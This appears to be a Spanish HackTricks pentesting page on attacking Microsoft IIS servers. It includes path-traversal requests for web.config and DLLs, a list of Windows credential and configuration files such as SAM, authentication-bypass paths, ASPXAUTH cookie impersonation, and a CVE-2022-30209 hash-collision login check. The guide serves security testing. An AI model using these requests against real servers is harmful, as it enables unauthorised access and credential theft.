hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

287 lines
16 KiB
Markdown
Raw Normal View History

# IIS - Servicios de Información de Internet
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
Probar extensiones de archivos ejecutables:
2023-06-05 18:33:24 +00:00
* asp
* aspx
* config
* php
## Divulgación de la Dirección IP Interna
2023-06-05 18:33:24 +00:00
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría apuntarte a la dirección IP interna:
2023-06-05 18:33:24 +00:00
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Respuesta revelando la IP interna:
2023-06-05 18:33:24 +00:00
```
GET / HTTP/1.0
2023-06-05 18:33:24 +00:00
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Ejecutar archivos .config
Puedes cargar archivos .config y usarlos para ejecutar código. Una forma de hacerlo es agregando el código al final del archivo dentro de un comentario HTML: [Descarga el ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
2023-06-05 18:33:24 +00:00
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## Fuerza bruta de descubrimiento de IIS
2023-06-05 18:33:24 +00:00
Descarga la lista que he creado:
2023-06-05 18:33:24 +00:00
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Fue creada fusionando los contenidos de las siguientes listas:
2023-06-05 18:33:24 +00:00
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Úsalo sin agregar ninguna extensión, los archivos que la necesitan ya la tienen.
2023-06-05 18:33:24 +00:00
## Travesía de ruta
2023-06-05 18:33:24 +00:00
### Filtración de código fuente
2023-06-05 18:33:24 +00:00
Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
2023-06-05 18:33:24 +00:00
{% hint style="info" %}
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** a los que se debe intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
2023-06-05 18:33:24 +00:00
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\
2023-06-05 18:33:24 +00:00
{% endhint %}
En las aplicaciones de **.Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario en el que se basa la aplicación a través de etiquetas XML de **"assemblyIdentity"**.
### **Explorando archivos binarios**
A continuación se muestra un ejemplo de acceso al archivo **web.config**:
2023-06-05 18:33:24 +00:00
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Este requerimiento revela varios ajustes y dependencias, tales como:
2023-06-05 18:33:24 +00:00
- Versión de **EntityFramework**
- **AppSettings** para páginas web, validación de cliente y JavaScript
- Configuraciones de **System.web** para autenticación y tiempo de ejecución
- Ajustes de módulos de **System.webServer**
- Enlaces de ensamblado de tiempo de ejecución para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc**
2023-06-05 18:33:24 +00:00
Estos ajustes indican que ciertos archivos, como **/bin/WebGrease.dll**, se encuentran dentro de la carpeta /bin de la aplicación.
### **Archivos del Directorio Raíz**
Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.
2023-06-05 18:33:24 +00:00
### **Espacios de nombres y Web.Config**
Las aplicaciones MVC también definen archivos **web.config** adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con un requerimiento para descargar otro **web.config**:
2023-06-05 18:33:24 +00:00
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Descarga de DLLs**
2023-06-05 18:33:24 +00:00
La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuación, se muestra una solicitud para descargar el archivo **WebApplication1.dll**:
```markup
2023-06-05 18:33:24 +00:00
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Esto sugiere la presencia de otras DLL esenciales, como **System.Web.Mvc.dll** y **System.Web.Optimization.dll**, en el directorio /bin.
2023-06-05 18:33:24 +00:00
En un escenario donde una DLL importa un espacio de nombres llamado **WebApplication1.Areas.Minded**, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como **/nombre-de-area/Views/**, que contienen configuraciones específicas y referencias a otras DLL en la carpeta /bin. Por ejemplo, una solicitud a **/Minded/Views/web.config** puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, **WebApplication1.AdditionalFeatures.dll**.
2023-06-05 18:33:24 +00:00
### Archivos comunes
Desde [aquí](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
2023-06-05 18:33:24 +00:00
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## Error 404 de HTTPAPI 2.0
Si ves un error como el siguiente:
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
Para acceder a la página web, podrías revisar el **Certificado SSL** servido y tal vez encuentres el nombre de dominio/subdominio allí. Si no está, es posible que necesites **forzar VHosts** hasta encontrar el correcto.
## Antiguas vulnerabilidades de IIS que vale la pena buscar
### Vulnerabilidad/Característica de Microsoft IIS del carácter de tilde "\~" - Divulgación de Nombre Corto de Archivo/Carpeta
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) utilizando esta **técnica**.\
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../.gitbook/assets/image (183).png>)
Investigación original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
### Bypass de Autenticación Básica
**Burla** una autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
Puedes intentar **combinar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **burlar** la autenticación.
## Depuración habilitada de Trace.AXD de ASP.NET
ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
Esta información incluye IP's de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Captura de pantalla 2021-03-30 a las 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
ASPXAUTH utiliza la siguiente información:
* **`validationKey`** (cadena): clave codificada en hexadecimal para usar en la validación de firma.
* **`decryptionMethod`** (cadena): (por defecto "AES").
* **`decryptionIV`** (cadena): vector de inicialización codificado en hexadecimal (por defecto un vector de ceros).
* **`decryptionKey`** (cadena): clave codificada en hexadecimal para usar en el descifrado.
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que esté utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor bajo ataque, podrías **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\
Este ataque funcionó en este [**informe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass de Autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
[Informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el código **no verificaba correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario.
2023-06-05 18:33:24 +00:00
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
2023-06-05 18:33:24 +00:00
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>